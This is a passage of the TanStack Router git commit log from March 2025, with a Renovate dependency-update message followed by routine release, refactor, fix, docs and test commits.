([e7ba55e](e7ba55e7d5)),
closes
[#&#8203;19453](https://redirect.github.com/vitejs/vite/issues/19453)
- fix: ignore `*.ipv4` address in cert
([#&#8203;19416](https://redirect.github.com/vitejs/vite/issues/19416))
([973283b](973283bf84)),
closes
[#&#8203;19416](https://redirect.github.com/vitejs/vite/issues/19416)
- fix(css): run rewrite plugin if postcss plugin exists
([#&#8203;19371](https://redirect.github.com/vitejs/vite/issues/19371))
([bcdb51a](bcdb51a1ac)),
closes
[#&#8203;19371](https://redirect.github.com/vitejs/vite/issues/19371)
- fix(deps): bump tsconfck
([#&#8203;19375](https://redirect.github.com/vitejs/vite/issues/19375))
([746a583](746a583d42)),
closes
[#&#8203;19375](https://redirect.github.com/vitejs/vite/issues/19375)
- fix(deps): update all non-major dependencies
([#&#8203;19392](https://redirect.github.com/vitejs/vite/issues/19392))
([60456a5](60456a54fe)),
closes
[#&#8203;19392](https://redirect.github.com/vitejs/vite/issues/19392)
- fix(deps): update all non-major dependencies
([#&#8203;19440](https://redirect.github.com/vitejs/vite/issues/19440))
([ccac73d](ccac73d9d0)),
closes
[#&#8203;19440](https://redirect.github.com/vitejs/vite/issues/19440)
- fix(html): ignore malformed src attrs
([#&#8203;19397](https://redirect.github.com/vitejs/vite/issues/19397))
([aff7812](aff7812f0a)),
closes
[#&#8203;19397](https://redirect.github.com/vitejs/vite/issues/19397)
- fix(worker): fix web worker type detection
([#&#8203;19462](https://redirect.github.com/vitejs/vite/issues/19462))
([edc65ea](edc65eafa3)),
closes
[#&#8203;19462](https://redirect.github.com/vitejs/vite/issues/19462)
- refactor: remove custom .jxl mime
([#&#8203;19457](https://redirect.github.com/vitejs/vite/issues/19457))
([0c85464](0c854645bd)),
closes
[#&#8203;19457](https://redirect.github.com/vitejs/vite/issues/19457)
- feat: add support for injecting debug IDs
([#&#8203;18763](https://redirect.github.com/vitejs/vite/issues/18763))
([0ff556a](0ff556a6d9)),
closes
[#&#8203;18763](https://redirect.github.com/vitejs/vite/issues/18763)
- chore: update 6.1.0 changelog
([#&#8203;19363](https://redirect.github.com/vitejs/vite/issues/19363))
([fa7c211](fa7c211bf3)),
closes
[#&#8203;19363](https://redirect.github.com/vitejs/vite/issues/19363)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4yMDcuMSIsInVwZGF0ZWRJblZlciI6IjM5LjIwNy4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-03-26 03:11:35 +00:00
Sean Cassiere
21dad9fbad
test(e2e): add "generator-cli-only" and "js-only-file-based" sandboxes (#3852)
Adding this in ahead of the `devinxi` branch to ensure functionality with the upcoming changes to `createFileRoute` when using file-based routing.
2025-03-26 02:23:09 +13:00
SeanCassiere
291667dea9
docs(react-router,solid-router): add missing hash to the faq 2025-03-21 17:05:46 +13:00
Sean Cassiere
bfa90f7403
docs(react-router,solid-router): add a FAQ section (#3822) 2025-03-21 16:50:56 +13:00
Tanner Linsley
c49d8a2eea release: v1.114.27 2025-03-21 03:13:09 +00:00
Sean Cassiere
0c667bf12c
fix(react-router): missing Symbol declaration for HMR (#3821)
As part of the move to `router-core` in
https://github.com/TanStack/router/pull/3803, we accidentally removed
the `Symbol` declaration that was being performed in the constructor of
the `Route` class. This had a downstream effect on the HMR functionality
provided by `@vitejs/plugin-react`.

Fixes #3815
2025-03-21 16:11:55 +13:00
Sean Cassiere
906525964d
docs(start): move router configuration note to the top (#3819) 2025-03-21 11:38:26 +13:00
Tanner Linsley
7dfee394c2 release: v1.114.26 2025-03-20 14:15:32 +00:00
Brenley Dueck
cf0f2a7ca9
fix(solid-router): nav flickering and view transitions (#3813)
I think this should fix the nav flicker some people have brought up.
This also seems to fix the view transitions issue

Basically a tweak of this pr
https://github.com/TanStack/router/pull/3589/files
2025-03-20 15:08:23 +01:00
Rijk van Wel
49a7a51e06
chore(examples): fix "board update" in start-convex-trellaux (#3802) 2025-03-19 14:55:01 +13:00
seab
020c4c2d1d
docs: typo fix (#3806) 2025-03-18 21:44:40 +00:00
Tanner Linsley
7c229b3539 release: v1.114.25 2025-03-18 18:27:26 +00:00
Birk Skyum
27b02830b0
refactor(router-core): moving internals of Router to router core (#3800) 2025-03-18 19:26:13 +01:00
Tanner Linsley
4190c07628 release: v1.114.24 2025-03-18 12:06:26 +00:00
Birk Skyum
647949522a
refactor(router-core): move internals of Route to router-core (#3803)
Similar to #3800 , this use base classes to contain shared methods of
the solid/react-router Route in the router-core package.
2025-03-18 13:04:59 +01:00
Daniel
3a0c6dd019
docs(start): fix broken url to the start-counter example (#3795)
Fix wrong url for start-counter example

---------

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-03-18 05:16:08 +13:00
Alex D'Elia
bf5005f17d
docs(react-router): add view transitions example (#3791)
React example showing off view transitions at work.

---

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-03-17 14:25:29 +13:00
Tanner Linsley
4d675074b0 release: v1.114.23 2025-03-16 23:20:07 +00:00
Thibaut Rousseau
6ad6ee1801
refactor(router-core): decorate with JSDoc comments for NavigateOptionProps, ActiveOptions, MatchRouteOptions and Redirect (#3792)
Following up on https://github.com/TanStack/router/discussions/3790 I added some JSDoc on a few uncommented types I encountered in my project.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-17 12:13:30 +13:00
Alex Tirim
c1baf7733c
[DOCS] : Fix wrong getting started command (#3788) 2025-03-16 10:41:11 +00:00
SeanCassiere
5412a9414c
chore(root): script for cleaning up packages 2025-03-16 14:35:50 +13:00
Sean Cassiere
790904852b
chore(e2e): move hash related test utils to the shared package (#3782) 2025-03-16 14:24:39 +13:00
Tanner Linsley
f02a7bcecf release: v1.114.22 2025-03-15 22:54:39 +00:00
Alex
176514f11e
fix(history): double / being added in hash routing (#3779)
This more cleanly and safely constructs a href with search parameters
and prevents incorrectly adding a double slash to the start of the URL
that was introduced in #3644.

Fixes #3739
Fixes #3699

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-16 11:47:33 +13:00
James Chung
4568b38b69
docs: typo in the "external-data-loading" guide (#3772) 2025-03-15 18:01:48 +13:00
branko-slavkov
869ec3baa6
docs: Update useBlockerHook.md (#3767) 2025-03-13 23:56:02 +01:00
Tanner Linsley
2b64b789e1 release: v1.114.21 2025-03-13 21:50:11 +00:00
Birk Skyum
0e37676bd6
fix(react-router-devtools): remove console warnings from useRouter (#3770)
Closes https://github.com/TanStack/router/issues/3723

The hooks rules makes it impossible to have the same conditional logic
for the useRouter call as the solid-router-devtools has, so this mutes
the warning to avoid flooding the browser console, because the setup
here is intentional.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-13 22:49:00 +01:00
Birk Skyum
83783cbe97
fix(router-docs): update notes on devtools in quickstart guide (#3769)
Closes https://github.com/TanStack/router/issues/3756
2025-03-13 22:13:58 +01:00
Tanner Linsley
f735529343 release: v1.114.20 2025-03-13 19:45:27 +00:00
Birk Skyum
f005d35b7b
fix(router-devtools-core): propagate toggleButtonProps properly (#3768)
Closes https://github.com/TanStack/router/issues/3746

With this change, setting on the DevTools the properties:
- panelProps
- closeButtonProps
- toggleButtonProps

Will propagate those values, such as `style` or `class` correctly to the
respective DOM elements.
2025-03-13 20:42:21 +01:00
Tanner Linsley
1f320113ed release: v1.114.19 2025-03-13 12:48:59 +00:00
Birk Skyum
629995879e
fix(start-server-core): move h3 wrapper tests to shared packages and enable them (#3765) 2025-03-13 13:43:23 +01:00
Tanner Linsley
02a4f79ade release: v1.114.18 2025-03-13 06:29:56 +00:00
Luca
4e79261534
fix(react-router-devtools): remove router devtools duplicate peer dependency (#3758)
Fixes duplicate dependency (both in dependencies and peerDependencies).

Closes #3755
2025-03-13 07:25:04 +01:00
Birk Skyum
378720862a
docs(quickstart): use create-tsrouter-app for scaffolding a tsrouter app (#3759)
This use the new create-tsrouter-app to scaffold tsrouter apps.

On this quickstart page
https://tanstack.com/router/latest/docs/framework/react/quick-start
https://tanstack.com/router/latest/docs/framework/solid/quick-start
2025-03-12 23:31:28 +01:00
autofix-ci[bot]
a73dcdcec3
ci: apply automated fixes 2025-03-12 15:50:19 +00:00
Aleksander
5975a398af
docs: Add "response" option details to server-functions.md (#3753)
Added information about "response" option and returning non-standard
return types
2025-03-12 16:49:04 +01:00
Rolf Timmermans
92763e3ce3
Add example for virtualization for the whole window. (#3752)
Based on
https://github.com/TanStack/router/pull/3191#issuecomment-2717415282
2025-03-12 15:55:38 +01:00
Birk Skyum
5ee4d310c4
chore(tanstack-solid-start-example-basic): add example (#3751) 2025-03-12 15:48:44 +01:00
Tanner Linsley
11a4d9d96f release: v1.114.17 2025-03-12 12:55:31 +00:00
Birk Skyum
dfdb9f467d
fix(router-core): move ThrowConstraint to core utils (#3749) 2025-03-12 13:54:05 +01:00
Tanner Linsley
bf5bd47225 release: v1.114.16 2025-03-12 12:32:10 +00:00
Birk Skyum
215d6f5202
fix(router-core): move typePrimitives to shared package (#3748)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-12 13:30:19 +01:00
Tanner Linsley
b90b3f2c83 release: v1.114.15 2025-03-11 17:48:06 +00:00
Birk Skyum
032dc2f49e
fix(router-core): agnostic scroll restoration (#3740)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-11 18:46:51 +01:00
Tanner Linsley
5a7c98b656 release: v1.114.14 2025-03-11 15:41:23 +00:00
Tanner Linsley
7553dcb5d2 fix: Allow window as element scroll restoration element 2025-03-11 09:35:14 -06:00
Tanner Linsley
dc1848c4ce release: v1.114.13 2025-03-10 19:02:50 +00:00
Birk Skyum
1bf017aedf
fix(docs): update path-alias example from app to src (#3733) 2025-03-10 20:00:21 +01:00
Levin Rickert
6f2c25dcd6
fix(react-router): pin version of router-core (#3730)
closes #3728
2025-03-10 19:54:36 +01:00
Tanner Linsley
2483a9741d release: v1.114.12 2025-03-10 12:05:39 +00:00
Birk Skyum
335e16577b fix: RELEASE_ALL 2025-03-10 12:56:38 +01:00
Tanner Linsley
e3157112b8 release: v1.114.11 2025-03-10 11:39:12 +00:00
Birk Skyum
96e0a1df5c
fix(solid-router-devtools,react-router-devtools): add core package and solid-js as deps (#3732)
Attempt to close
- https://github.com/TanStack/router/issues/3719
2025-03-10 12:38:01 +01:00
Tanner Linsley
698c92a15f release: v1.114.10 2025-03-10 10:53:55 +00:00
Birk Skyum
df1ff398ca
refactor: make start-server-functions packages agnostic (#3729)
Removes
- react-start-server-functions-fetcher/handler/client/ssr
- solid-start-server-functions-fetcher/handler/client/ssr

Introduces (as they were called in the past)
- start-server-functions-fetcher/handler/client/ssr
2025-03-10 11:52:43 +01:00
Tanner Linsley
3973a65825 release: v1.114.9 2025-03-10 09:43:06 +00:00
Birk Skyum
73af05551e
refactor(start-client-core): move createServerFn to core (#3727)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-10 10:40:34 +01:00
Tanner Linsley
7dc9b4ae8e release: v1.114.8 2025-03-10 09:26:38 +00:00
Birk Skyum
ceeaff113a
refactor: use router-core in server-functions packages (#3726) 2025-03-10 10:25:07 +01:00
Tanner Linsley
26ffdb586b release: v1.114.7 2025-03-10 09:15:55 +00:00
Birk Skyum
391b02692b
refactor: use start-server-core package in server-functions packages (#3724)
instead of
- solid-start-server
- react-start-server

Use in the *-start-server-functions-* packages the agnostic
- start-server-core
2025-03-10 10:10:16 +01:00
Birk Skyum
bea9e4d58d
refactor(router-core): move isNotFound and isRedirect to router-core (#3725)
this will unlock agnostic server-functions packages

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-10 10:10:02 +01:00
Tanner Linsley
700b5aa28c release: v1.114.6 2025-03-10 07:41:45 +00:00
Birk Skyum
a0ac44326b fix: RELEASE_ALL 2025-03-10 08:40:11 +01:00
Birk Skyum
1b402d502f
chore(start-api-routes): make agnostic package (#3722)
The API routes only rely on h3, which is in start-server-core, so the
entire start-api-routes package can now be agnostic.

Removes
- react-start-api-routes
- solid-start-api-routes

Introduces
- start-api-routes
2025-03-10 06:22:00 +01:00
Tanner Linsley
935ff7901e release: v1.114.5 2025-03-10 04:56:51 +00:00
Birk Skyum
82fde85c0b
refactor(start-server-core): use h3 barrel import (#3721)
mirror refactor from devinxi branch, to clean up the ./index.ts file
2025-03-10 05:52:29 +01:00
Birk Skyum
2d2551bf92
chore(start-server-core): agnostic package (#3720) 2025-03-10 05:12:07 +01:00
Birk Skyum
77a4dee2ed
chore(start-client-core): move middleware and serverfn to core (#3717)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-10 04:11:46 +01:00
Birk Skyum
e47b57ccb0
chore(start-client-core): move envonly and json to core (#3716)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-10 03:02:08 +01:00
Birk Skyum
ef79bfd5e5
chore(start-client-core): move createIsomorphicFn to core (#3715) 2025-03-10 02:27:02 +01:00
Tanner Linsley
fa485a8e38 release: v1.114.4 2025-03-10 01:03:38 +00:00
Birk Skyum
97e2ed3f30
refactor(start-client-core): move ssr-client to core package (#3714) 2025-03-10 02:00:44 +01:00
Birk Skyum
76414f1d56
chore: bump zod 3.24.2 (#3713)
This is to cut down the diff to the devinxi branch here
- https://github.com/TanStack/router/tree/devinxi
2025-03-10 00:44:28 +01:00
Birk Skyum
398458e16d
chore(start-client-core): move mergeHeaders and startSerializer to shared package (#3709)
Move the 100% duplicates:
- ./headers.ts
- ./serializer.ts
- ./tests/transformer.test.tsx

From solid/react-start-client to start-client-core.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-10 00:09:53 +01:00
Birk Skyum
f616ba9c07
chore: move start e2e and example projects from ./app to ./src (#3712)
Using the below setting, the examples and e2e projects opt into the
future behavior of using `./src` as the app directory, rather than
'./app':

```ts
tsr: {
  appDirectory: 'src',
},
```

The `./src` directory is typically used for pure-TS Router projects, as
well as CRA. Thus this reduces the churn for a TS Router SPA to opt into
server features with TS Start.
2025-03-09 23:35:20 +01:00
Robin Hos
a73bf99f14
docs(router): Add example for search params validation with Effect/Sc… (#3710)
Added an example for validating Search Params with
[Effect](https://effect.website) because
[Effect/Schema](https://effect.website/docs/schema/standard-schema/)
also implements [Standard
Schema](https://github.com/standard-schema/standard-schema).

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-09 21:16:42 +01:00
Birk Skyum
0d2129cd54
chore(react-start-config,solid-start-config): remove unused router deps (#3704) 2025-03-09 13:15:49 +01:00
Birk Skyum
fcecd7cfa3
chore(react-start,solid-start): update imports to use router-core (#3703)
Update start package imports after much router code has been moved to
the agnostic router-core package.
2025-03-09 12:49:14 +01:00
Alex D'Elia
e9f7efc4bf
docs(router): improve navigation guide and NavigateOptions documentation (#3701)
This PR adds missing documentation for both the NavigationOptions type
and the Navigation guide.
2025-03-09 11:56:27 +01:00
Tanner Linsley
9f953e9785 release: v1.114.3 2025-03-09 08:37:06 +00:00
Manuel Schiller
05bff06332 fix: RELEASE_ALL
RELEASE_ALL
2025-03-09 09:35:28 +01:00
Sean Cassiere
afb716a44f
revert(react-router,solid-router): revert #3700 (#3702)
#3700 introduced an unintended side-effect with the scroll restoration
process in TanStack Start.

This revets the code changes in `@tanstack/react-router` and
`@tanstack/solid-router` and short-circuits the tests relevant test
scripts introduced in the offending PR.
2025-03-09 20:39:43 +13:00
Tanner Linsley
9ea1c83aad release: v1.114.2 2025-03-09 03:03:46 +00:00
Sean Cassiere
ad623cc992
fix(react-router,solid-router): scroll to element does not work for hash history (#3700)
The `restoreScroll` function was directly interfacing with
`window.location.hash` to get the 'hash' value, which conflicts with how
hash routing functions. As such, when the hash value was retrieved, it
came back as `#/page#foo` instead of just `#foo` like it would with
regular browser history.

Switching it to use the `history` driver attached to the `router`
instance, correctly returns the `hash` value irrespective of the type of
routing being used.

Fixes #3479
2025-03-09 16:00:21 +13:00
Tanner Linsley
672116725b release: v1.114.1 2025-03-08 20:05:26 +00:00
Birk Skyum
369618ba04 fix: RELEASE_ALL 2025-03-08 21:03:49 +01:00
Birk Skyum
a7d3efe957
fix(router-devtools-core) lazy load devtools panel to fix ssr (#3696)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-08 20:34:19 +01:00
Tanner Linsley
a3cf3961b9 release: v1.114.0 2025-03-08 12:27:37 +00:00
Birk Skyum
e313a1c5a7
feat(router-devtools-core): consolidate devtools logic in core and distributed with framework-specific bindings (#3636)
The original `@tanstack/router-devtools` package still work - it's not
touch by this PR in any way, apart from a migration note saying:

>[@tanstack/router-devtools] Warning: This package has moved to
@tanstack/react-router-devtools. Please switch to the new package, as
this package will be dropped soon.

This introduce three new packages
- @tanstack/router-devtools-core : This is a SolidJS port of the UI

And two adapters on top, that mount this solid app and forward
router/routerState into it.
- @tanstack/solid-router-devtools
- @tanstack/router-router-devtools

For use of devtools in production, a `TanStackRouterDevtoolsInProd` can
be imported instead of the standard `TanStackRouterDevtools` that'll be
tree shaken away in prod.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
Co-authored-by: Lachlan Collins <1667261+lachlancollins@users.noreply.github.com>
2025-03-08 13:20:26 +01:00
Birk Skyum
d723d59607 Revert "labeler"
This reverts commit 4225d963f6.
2025-03-08 00:26:36 +01:00
Birk Skyum
4225d963f6 labeler 2025-03-08 00:24:08 +01:00
Sean Cassiere
c646ddcd08
chore(root): labeler script to only consider packages with a package.json file (#3690) 2025-03-08 10:51:24 +13:00
Tanner Linsley
13ba4929a1 release: v1.113.0 2025-03-07 21:13:29 +00:00
Honza Hrubý
aa24401b04
feat(router-generator): disable formatting of routeTree (#3678)
Based on the discussion in https://github.com/TanStack/router/discussions/3664, I'm adding an
option to disable the formatting of the generated routeTree. The file is not meant for human consumption and disabling the formatter can significantly speed up the route generation process.

---------

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-03-08 10:06:39 +13:00
Kilian Finger
cd7a43c9e2
chore(examples): add Material UI example (#3677)
Fixes #2867 

As previously discussed @schiller-manuel.
2025-03-07 13:34:19 +01:00
Tanner Linsley
42d50a58be release: v1.112.19 2025-03-07 11:12:50 +00:00
Sean Cassiere
81c657623d
refactor(router-generator): add internal __enableAPIRoutesGeneration flag (#3685)
This internal flag makes it so that the `router-generator` only considers API Routes when `__enableAPIRoutesGeneration` is set to `true`.
2025-03-08 00:10:07 +13:00
Manuel Schiller
5bbf49deba
chore: replace <React.Fragment> by <> (#3672)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-07 00:30:35 +01:00
Tanner Linsley
06237feeb1 release: v1.112.18 2025-03-06 23:02:15 +00:00
Manuel Schiller
c9a32784ce
fix: use fullPath as from in Route/RouteApi useNavigate (#3684)
fixes #3679
2025-03-06 23:58:51 +01:00
Miciah Henderson
623e420de0
docs: streamline language in the quick-start guide for Solid (#3681) 2025-03-07 09:16:12 +13:00
Manuel Schiller
30e869042d
chore: add script to bump typescript version and bump it to 5.8 (#3618)
Co-authored-by: chorobin <chrishorobin@hotmail.com>
2025-03-06 21:06:32 +01:00
Andrew Peacock
d20088e0fb
chore(examples): add authenticated-routes example using firebase (#3669)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-03-06 20:38:47 +13:00
Sean Cassiere
ffbcd7278c
chore(examples): fix up the start-trellaux example (#3675) 2025-03-06 16:08:43 +13:00
Tanner Linsley
70351e525e release: v1.112.17 2025-03-06 00:37:45 +00:00
Manuel Schiller
f4d09c19c4
fix: rebuild link if matches change (#3674)
fixes #2988
2025-03-06 01:36:16 +01:00
Tanner Linsley
76b0c2e9f3 release: v1.112.16 2025-03-05 23:52:06 +00:00
Manuel Schiller
bf0fc0044d
fix: use leaf match as from if none supplied for <Link> (#3673) 2025-03-06 00:50:51 +01:00
Tanner Linsley
cbc27fa900 release: v1.112.15 2025-03-05 21:16:53 +00:00
Manuel Schiller
a638d77ac8
fix: use default from in useNavigate (#3671)
fixes #3668
2025-03-05 22:15:21 +01:00
Ryan Callahan
7b47db77f7
docs(start): Add note for verbatimModuleSyntax setting in tsconfig docs (#3670)
verbatimModuleSyntax can cause server bundles to quietly leak into
client bundles via exported types. It is an easy mistake to make that
can be _very_ difficult to debug.

Inspired by #3401

Co-authored-by: ryan-callahan-edo <ryan.callahan@edoinc.com>
2025-03-05 22:11:05 +01:00
Tanner Linsley
b04a9fbcf2 release: v1.112.14 2025-03-05 17:12:44 +00:00
Paul Grau
051e2d5efa
fix: transform should return null to preserve source maps. Fixes #3661 (#3663)
Fixes #3661

I tested this in my own codebase. With this change, the warnings are
gone.

Rollup plugin docs specifically say that you should return `null` if you
didn't transform anything. Vite follows rollup's API.
2025-03-05 18:07:40 +01:00
Birk Skyum
c699da2bc3
Fix CI - Revert "refactor(react-router,solid-router): move redirect to router-core" (#3667)
Reverts TanStack/router#3662
2025-03-05 16:33:26 +01:00
Birk Skyum
3a2d51e11d
refactor(router-core): move redirect to core (#3662) 2025-03-05 11:37:52 +01:00
Tanner Linsley
9b460c4ed0 release: v1.112.13 2025-03-04 23:00:57 +00:00
Manuel Schiller
c18ae80136
fix(react-router): ensure resetScroll works with strict mode on (#3659)
fixes #3408
2025-03-04 23:57:38 +01:00
Tanner Linsley
e6607f367e release: v1.112.12 2025-03-04 20:50:19 +00:00
Christopher Horobin
7ef5d87096
refactor(router-core): move AnyRoute and AnyRouter to router-core (#3640) 2025-03-04 21:48:58 +01:00
Manuel Schiller
bb1acf00ab
chore: rename method (#3658) 2025-03-04 20:13:39 +01:00
Tanner Linsley
05c312d6c6 release: v1.112.11 2025-03-04 09:57:45 +00:00
Manuel Schiller
dff7e7a8e6 fix: explicitly capture previous loadPromise 2025-03-04 10:50:21 +01:00
Tanner Linsley
eff01eb950 release: v1.112.10 2025-03-04 09:46:17 +00:00
Brenley Dueck
8abb6242a2
fix(solid-router): check if promise is resolved before resolving in useRouterState (#3651)
Fixes #3639
2025-03-04 10:39:27 +01:00
Tanner Linsley
d8211c9eb2 release: v1.112.9 2025-03-04 09:13:01 +00:00
Manuel Schiller
7eaa4a2888
fix: allow relative navigate without from (#3654)
if `from` is not specified, it defaults to the leaf match
2025-03-04 10:11:48 +01:00
Alex D'Elia
6e364a5654
docs(router): add viewTransition docs in NavigateOptionsType (#3652)
This PR adds viewTransition documentation to the NavigateOptionsType,
giving users more info on how they can use the viewTransition API in
Links and Navigates.

Will follow up in the next day or so with an example as well.
2025-03-04 08:50:50 +01:00
Tanner Linsley
2cdf128779 release: v1.112.8 2025-03-04 05:49:13 +00:00
Hoseong Lee
418fd95827
fix(history): parseLocation in createHashHistory to handle search params correctly (#3644)
`parseLocation` in `createHashHistory` failed to parse search params when they appeared before the hash. This PR updates the parsing logic so that search params are correctly extracted and processed, regardless of their position.
fixes #3595
2025-03-04 18:42:14 +13:00
Tanner Linsley
35c7c495f3 release: v1.112.7 2025-03-04 00:26:17 +00:00
Vladislav Pilgasov
1849f04e0b
fix(react-router,solid-router): scrollRestoration crashes if sessionStorage is not available (#3638)
Fixes #3634 

Simply checking the type of `window.sessionStorage` is apparently enough to trigger `SecurityError`. To address it we use try/catch and set the variable to true only if it's indeed available.
2025-03-04 13:19:25 +13:00
Birk Skyum
1c71ab16c0
test(tanstack-solid-start-e2e-basic-tsr-config) (#3641)
Follow up to 
- https://github.com/TanStack/router/pull/3611

Port this test suite from react-start to solid-start

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-02 23:21:15 +01:00
Birk Skyum
eb21d01ea1
test(react-router) should update title on navigation (#3610)
when client navigating, the react-router doesn't update the head meta
tags, such as the title

---------

Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-03-02 22:56:22 +01:00
Birk Skyum
07b82499d6
test(react-start): check change to meta tags on client navigation (#3609)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-02 22:16:32 +01:00
Julian Klumpers
5e6a774275
docs: Update server-functions.md docs (#3628)
Added clear description add the top that server functions cannot be
called from API Routes.
2025-03-02 19:39:04 +01:00
Tanner Linsley
8e167d1f3c release: v1.112.6 2025-03-02 16:15:53 +00:00
Birk Skyum
c288bfd5bf
refactor(router-devtools): Revert #3631 to ensure backwards compat with react 18 (#3637)
Reverts #3631 - it's relying on peer Deps of react v18 or v19, so it
might be a problem if we use v19-only features.

There is work underway that'll uncouple this - but it's not in yet
2025-03-02 17:11:07 +01:00
Tanner Linsley
94e35b0240 release: v1.112.5 2025-03-02 14:50:13 +00:00
Birk Skyum
c32436f57f
refactor(router-devtools): Adopt recommendations for React 19 (#3631)
_Agnostic devtools step 1.5 of plan_

This is a follow up to below, so it'll be easier to review this diff
after that is merged / rebased
- #3629 

This pr was entirely made by eslint --fix, with exception of manually
adding a return type
[here](https://github.com/TanStack/router/pull/3631/files#diff-c546297e16a8306a05e3da924970bcdb458d59da2794af391f6757680a1c38a1R66-R70)
since the build would otherwise fail.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-02 15:45:38 +01:00
Tanner Linsley
601b60b93b release: v1.112.4 2025-03-02 14:26:54 +00:00
Birk Skyum
743bfbc52d
refactor(router-devtools): have components in separate files like query-devtools (#3629)
_Agnostic devtools step 1 of plan_

This merely move some components into own files, as internal change in
router-devtools, so it's easier to keep an overview of imports.

This is a more similar structure to the query-devtools
-
https://github.com/TanStack/query/tree/main/packages/query-devtools/src

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-02 15:20:50 +01:00
Tanner Linsley
633d13b766 release: v1.112.3 2025-03-02 12:03:21 +00:00
Sean Cassiere
f2ccddff4b
refactor(router-generator): reduce use of boolean to identify file-system routes (#3626) 2025-03-03 01:00:05 +13:00
Raymond Kneipp
d8878af647
docs(start): fix installation script in "build-from-scratch" guide (#3623) 2025-03-02 17:10:34 +13:00
Birk Skyum
db1774b7dc
test(react-start): make basic-tsr-config test more strict (#3611)
make basic-tsr-config test more strict:
- #3597

---------

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-03-02 17:06:42 +13:00
Birk Skyum
a119869219
fix(solid-start-config): adjust package name in noExternal (#3619)
It appear theres a `solid-` missing in this noExternal array

the package name is
[solid-start-router-manifest](https://github.com/TanStack/router/blob/main/packages/solid-start-router-manifest/package.json)

aligning with react-start-config
-
e2ac863540/packages/react-start-config/src/index.ts (L391)

This fixes the dev server when using the prerelease versions
2025-03-01 14:51:46 +01:00
Birk Skyum
e2ac863540
SolidJS driver for TanStack Start (#3522)
This PR introduce support for Solid to be used with TanStack Start.

There are several ongoing refactors that can influence the timing of
when it's most feasible to merge this.

### Status (build and run e2e/solid-start/basic)
- [X] SSR
- [x] API Routes
- [x] Server Functions
- [x] HMR
- [x] Streaming (/stream route)
- [X] Timely hydration

### Ongoing refactors

Refactor to make router packages (aka. client-only features) more
agnostic:
- #3552
- #3540
- #3538
- #3171

Refactor to make start packages (aka. server features) more agnostic:
- #3546 
- #3563 
- #3565 

### Upstream changes to solid-router
- #3592
- #3591
- #3589
- #3616 

### Passing E2E test suites
- [x]  basic
- [x]  website
- [x] scroll-restoration
- [x] server-functions

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Brenley Dueck <brenleydueck@gmail.com>
Co-authored-by: Iha Shin <me@xiniha.dev>
Co-authored-by: Brenley Dueck <brenley@crowdbotics.com>
2025-03-01 13:38:00 +01:00
Tanner Linsley
6df662dd5b release: v1.112.2 2025-03-01 12:17:21 +00:00
Birk Skyum
409cdf114f
fix(solid-router): make HeadContent work for client navigation (#3616)
Picking solid-router relevant changes from
[commit](https://github.com/TanStack/router/pull/3522/commits/9eaa09ea1f95f786e9bd239fe787f10d6cb08e1c)
by @brenelz , that fixes assets handler in solid-router by using
`@solidjs/meta`.

With this, the head tags like the title will update on client
navigation.

The changes in this PR that affect most files are merely repetitions of:
- bumping solid 1.9.4 -> 1.9.5
- inserting `<HeadContent>` in the root route
- removing `<title>` from the index.html

Includes an automated test for solid-router corresponding to 
- https://github.com/TanStack/router/pull/3610

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-01 13:10:44 +01:00
Tanner Linsley
e3ca5f93c6 release: v1.112.1 2025-02-28 11:46:29 +00:00
Melvin Valster
96d84eb062
